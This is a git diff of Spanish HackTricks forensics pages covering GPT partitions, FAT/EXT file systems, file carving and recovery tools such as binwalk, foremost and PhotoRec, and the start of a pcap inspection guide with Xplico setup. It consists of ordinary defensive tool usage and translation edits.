| 0 (0x00) | 16 bytes | [GUID del tipo de partición](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian mixto) | | 0 (0x00) | 16 bytes | [Tipo de partición GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian mixto) |
| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) | | 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) |
| 32 (0x20) | 8 bytes | Primer LBA ([little-endian](https://en.wikipedia.org/wiki/Little\_endian)) | | 32 (0x20) | 8 bytes | Primer LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) | | 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) |
| 48 (0x30) | 8 bytes | Banderas de atributo (por ejemplo, el bit 60 denota solo lectura) | | 48 (0x30) | 8 bytes | Banderas de atributos (por ejemplo, el bit 60 denota solo lectura) |
| 56 (0x38) | 72 bytes | Nombre de la partición (36 unidades de código UTF-16LE) | | 56 (0x38) | 72 bytes | Nombre de la partición (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unidades de código) |
**Tipos de particiones** **Tipos de particiones**
@ -143,11 +144,12 @@ Más tipos de particiones en [https://en.wikipedia.org/wiki/GUID\_Partition\_Tab
### Inspección ### Inspección
Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la siguiente imagen se detectó un **MBR** en el **sector 0** e interpretado: Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la imagen siguiente se detectó un **MBR** en el **sector 0** e interpretado:
![](<../../../.gitbook/assets/image (354).png>) ![](<../../../.gitbook/assets/image (354).png>)
Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío). Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío).
## Sistemas de archivos ## Sistemas de archivos
### Lista de sistemas de archivos de Windows ### Lista de sistemas de archivos de Windows
@ -160,31 +162,31 @@ Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI P
### FAT ### FAT
El sistema de archivos **FAT (File Allocation Table)** está diseñado en torno a su componente central, la tabla de asignación de archivos, ubicada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de inicio del sistema. El sistema de archivos **FAT (Tabla de asignación de archivos)** está diseñado en torno a su componente central, la tabla de asignación de archivos, situada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de arranque del sistema.
La unidad básica de almacenamiento del sistema de archivos es un **clúster, generalmente de 512B**, que comprende varios sectores. FAT ha evolucionado a través de versiones: La unidad básica de almacenamiento del sistema de archivos es un **cluster, generalmente de 512B**, que comprende múltiples sectores. FAT ha evolucionado a través de versiones:
* **FAT12**, que admite direcciones de clúster de 12 bits y maneja hasta 4078 clústeres (4084 con UNIX). * **FAT12**, que admite direcciones de cluster de 12 bits y maneja hasta 4078 clusters (4084 con UNIX).
* **FAT16**, mejorando a direcciones de 16 bits, pudiendo alojar hasta 65,517 clústeres. * **FAT16**, que mejora a direcciones de 16 bits, permitiendo hasta 65,517 clusters.
* **FAT32**, avanzando aún más con direcciones de 32 bits, permitiendo un impresionante número de 268,435,456 clústeres por volumen. * **FAT32**, que avanza aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen.
Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo. Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo.
Los componentes clave del directorio raíz, especialmente para FAT12 y FAT16, incluyen: Los componentes clave del directorio raíz, particularmente para FAT12 y FAT16, incluyen:
* **Nombre de archivo/carpeta** (hasta 8 caracteres) * **Nombre de archivo/carpeta** (hasta 8 caracteres)
* **Atributos** * **Atributos**
* **Fechas de creación, modificación y último acceso** * **Fechas de creación, modificación y último acceso**
* **Dirección de la tabla FAT** (indicando el clúster de inicio del archivo) * **Dirección de la tabla FAT** (que indica el cluster inicial del archivo)
* **Tamaño del archivo** * **Tamaño del archivo**
### EXT ### EXT
**Ext2** es el sistema de archivos más común para particiones **sin registro de diario** (particiones que no cambian mucho) como la partición de arranque. **Ext3/4** son **con registro de diario** y se utilizan generalmente para las **otras particiones**. **Ext2** es el sistema de archivos más común para **particiones que no registran** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con registro** y se utilizan generalmente para el **resto de las particiones**.
## **Metadatos** ## **Metadatos**
Algunos archivos contienen metadatos. Esta información es sobre el contenido del archivo que a veces puede ser interesante para un analista, ya que dependiendo del tipo de archivo, podría contener información como: Algunos archivos contienen metadatos. Esta información se refiere al contenido del archivo que a veces puede ser interesante para un analista, ya que dependiendo del tipo de archivo, puede tener información como:
* Título * Título
* Versión de MS Office utilizada * Versión de MS Office utilizada
@ -194,36 +196,36 @@ Algunos archivos contienen metadatos. Esta información es sobre el contenido de
* Coordenadas GPS * Coordenadas GPS
* Información de la imagen * Información de la imagen
Puedes utilizar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo. Puedes usar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo.
## **Recuperación de archivos eliminados** ## **Recuperación de archivos eliminados**
### Archivos eliminados registrados ### Archivos eliminados registrados
Como se vio anteriormente, hay varios lugares donde el archivo aún se guarda después de ser "eliminado". Esto se debe a que generalmente la eliminación de un archivo de un sistema de archivos solo lo marca como eliminado pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados. Como se vio antes, hay varios lugares donde el archivo aún se guarda después de haber sido "eliminado". Esto se debe a que generalmente la eliminación de un archivo de un sistema de archivos simplemente lo marca como eliminado, pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados.
Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y las copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible. Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### **Tallado de archivos** ### **Carving de archivos**
El **tallado de archivos** es una técnica que intenta **encontrar archivos en el conjunto de datos**. Hay 3 formas principales en las que funcionan herramientas como esta: **Basado en encabezados y pies de página de tipos de archivo**, basado en **estructuras de tipos de archivo** y basado en el **contenido** en sí. **El carving de archivos** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en los encabezados y pies de los tipos de archivos**, basado en las **estructuras** de los tipos de archivos y basado en el **contenido** mismo.
Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no se almacena en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él. Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no está almacenado en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él.
Hay varias herramientas que puedes utilizar para tallar archivos indicando los tipos de archivo que deseas buscar. Hay varias herramientas que puedes usar para el carving de archivos indicando los tipos de archivos que deseas buscar.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### Tallado de **flujos de datos** ### Carving de flujo de datos
El Tallado de flujos de datos es similar al Tallado de archivos pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\ El carving de flujo de datos es similar al carving de archivos, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\
Por ejemplo, en lugar de buscar un archivo completo que contenga URL registradas, esta técnica buscará URLs. Por ejemplo, en lugar de buscar un archivo completo que contenga URLs registradas, esta técnica buscará URLs.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -231,8 +233,8 @@ Por ejemplo, en lugar de buscar un archivo completo que contenga URL registradas
### Eliminación segura ### Eliminación segura
Obviamente, existen formas de **eliminar archivos de manera "segura" y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las copias de seguridad de volumen**.\ Obviamente, hay formas de **"eliminar de forma segura" archivos y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las copias de sombra del volumen**.\
Puedes notar que incluso realizando esa acción, podría haber **otras partes donde la existencia del archivo aún esté registrada**, y es cierto que parte del trabajo del profesional forense es encontrarlas. Puedes notar que incluso al realizar esa acción puede haber **otras partes donde la existencia del archivo aún está registrada**, y eso es cierto y parte del trabajo del profesional forense es encontrarlas.
## Referencias ## Referencias
@ -240,4 +242,19 @@ Puedes notar que incluso realizando esa acción, podría haber **otras partes do
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows** * **iHackLabs Certificado en Forense Digital Windows**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Herramientas de Carving y Recuperación de Datos # File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,13 +23,13 @@ Otras formas de apoyar a HackTricks:
*** ***
## Herramientas de Carving y Recuperación ## Carving & Recovery tools
Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy ### Autopsy
La herramienta más comúnmente utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para admitir imágenes de disco y otros tipos de imágenes, pero no archivos simples. La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará por defecto los tipos de archivos configurados. Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto.
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
@ -51,56 +52,58 @@ foremost -v -i file.img -o output
``` ```
### **Scalpel** ### **Scalpel**
**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, deberás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas extraer. **Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas que extraiga.
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
``` ```
### Bulk Extractor ### Bulk Extractor
Esta herramienta viene incluida en kali pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Esta herramienta puede escanear una imagen y **extraer pcaps** en su interior, **información de red (URLs, dominios, IPs, MACs, correos electrónicos)** y más **archivos**. Solo tienes que hacer: Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
### PhotoRec ### PhotoRec
Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Viene con versiones de GUI y CLI. Puedes seleccionar los **tipos de archivos** que deseas que PhotoRec busque. Viene con versiones GUI y CLI. Puedes seleccionar los **tipos de archivo** que deseas que PhotoRec busque.
![](<../../../.gitbook/assets/image (242).png>) ![](<../../../.gitbook/assets/image (242).png>)
### binvis ### binvis
Verifica el [código](https://code.google.com/archive/p/binvis/) y la [herramienta de la página web](https://binvis.io/#/). Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web de la herramienta](https://binvis.io/#/).
#### Características de BinVis #### Características de BinVis
* Visualizador de **estructuras** visual y activo * Visual y activo **visor de estructuras**
* Múltiples gráficos para diferentes puntos de enfoque * Múltiples gráficos para diferentes puntos de enfoque
* Enfoque en porciones de una muestra * Enfocándose en porciones de una muestra
* **Ver cadenas y recursos**, en ejecutables PE o ELF, por ejemplo * **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo.
* Obtener **patrones** para criptoanálisis en archivos * Obteniendo **patrones** para criptoanálisis en archivos
* **Detectar** algoritmos de empaquetado o codificación * **Detectando** algoritmos de empaquetado o codificación
* **Identificar** Esteganografía por patrones * **Identificar** esteganografía por patrones
* **Diferenciación** binaria visual * **Diferenciación** binaria visual
BinVis es un excelente **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra. BinVis es un gran **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra.
## Herramientas Específicas de Recuperación de Datos ## Herramientas específicas de recuperación de datos
### FindAES ### FindAES
Busca claves AES buscando sus programaciones de claves. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker. Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
Descarga [aquí](https://sourceforge.net/projects/findaes/). Descarga [aquí](https://sourceforge.net/projects/findaes/).
## Herramientas Complementarias ## Herramientas complementarias
Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\ Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\
Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para transformar un PDF en texto y leerlo. Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo.
**Try Hard Security Group** **Try Hard Security Group**
@ -108,16 +111,17 @@ Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para tra
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Inspección de Pcap # Inspección de Pcap
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas. [**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="info" %} {% hint style="info" %}
Una nota sobre **PCAP** vs **PCAPNG**: existen dos versiones del formato de archivo PCAP; **PCAPNG es más nuevo y no es compatible con todas las herramientas**. Es posible que necesites convertir un archivo de PCAPNG a PCAP usando Wireshark u otra herramienta compatible, para poder trabajar con él en algunas otras herramientas. Una nota sobre **PCAP** vs **PCAPNG**: hay dos versiones del formato de archivo PCAP; **PCAPNG es más nuevo y no es compatible con todas las herramientas**. Es posible que necesites convertir un archivo de PCAPNG a PCAP usando Wireshark u otra herramienta compatible, para poder trabajar con él en algunas otras herramientas.
{% endhint %} {% endhint %}
## Herramientas en línea para pcaps ## Herramientas en línea para pcaps
* Si el encabezado de tu pcap está **dañado**, debes intentar **repararlo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) * Si el encabezado de tu pcap está **dañado**, deberías intentar **repararlo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
* Extrae **información** y busca **malware** dentro de un pcap en [**PacketTotal**](https://packettotal.com) * Extrae **información** y busca **malware** dentro de un pcap en [**PacketTotal**](https://packettotal.com)
* Busca **actividad maliciosa** utilizando [**www.virustotal.com**](https://www.virustotal.com) y [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) * Busca **actividad maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) y [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
* **Análisis completo de pcap desde el navegador en** [**https://apackets.com/**](https://apackets.com/) * **Análisis completo de pcap desde el navegador en** [**https://apackets.com/**](https://apackets.com/)
## Extraer Información ## Extraer Información
@ -51,11 +52,11 @@ Puedes encontrar algunos trucos de Wireshark en:
Análisis de pcap desde el navegador. Análisis de pcap desde el navegador.
### Marco Xplico ### Marco de trabajo Xplico
[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ puede **analizar** un **pcap** y extraer información de él. Por ejemplo, de un archivo pcap, Xplico extrae cada correo electrónico (protocolos POP, IMAP y SMTP), todos los contenidos HTTP, cada llamada VoIP (SIP), FTP, TFTP, y más. [**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ puede **analizar** un **pcap** y extraer información de él. Por ejemplo, de un archivo pcap, Xplico extrae cada correo electrónico (protocolos POP, IMAP y SMTP), todo el contenido HTTP, cada llamada VoIP (SIP), FTP, TFTP, y así sucesivamente.
**Instalación** **Instalar**
```bash ```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
@ -67,7 +68,7 @@ sudo apt-get install xplico
/etc/init.d/apache2 restart /etc/init.d/apache2 restart
/etc/init.d/xplico start /etc/init.d/xplico start
``` ```
Accede a _**127.0.0.1:9876**_ con las credenciales _**xplico:xplico**_ Acceso a _**127.0.0.1:9876**_ con credenciales _**xplico:xplico**_
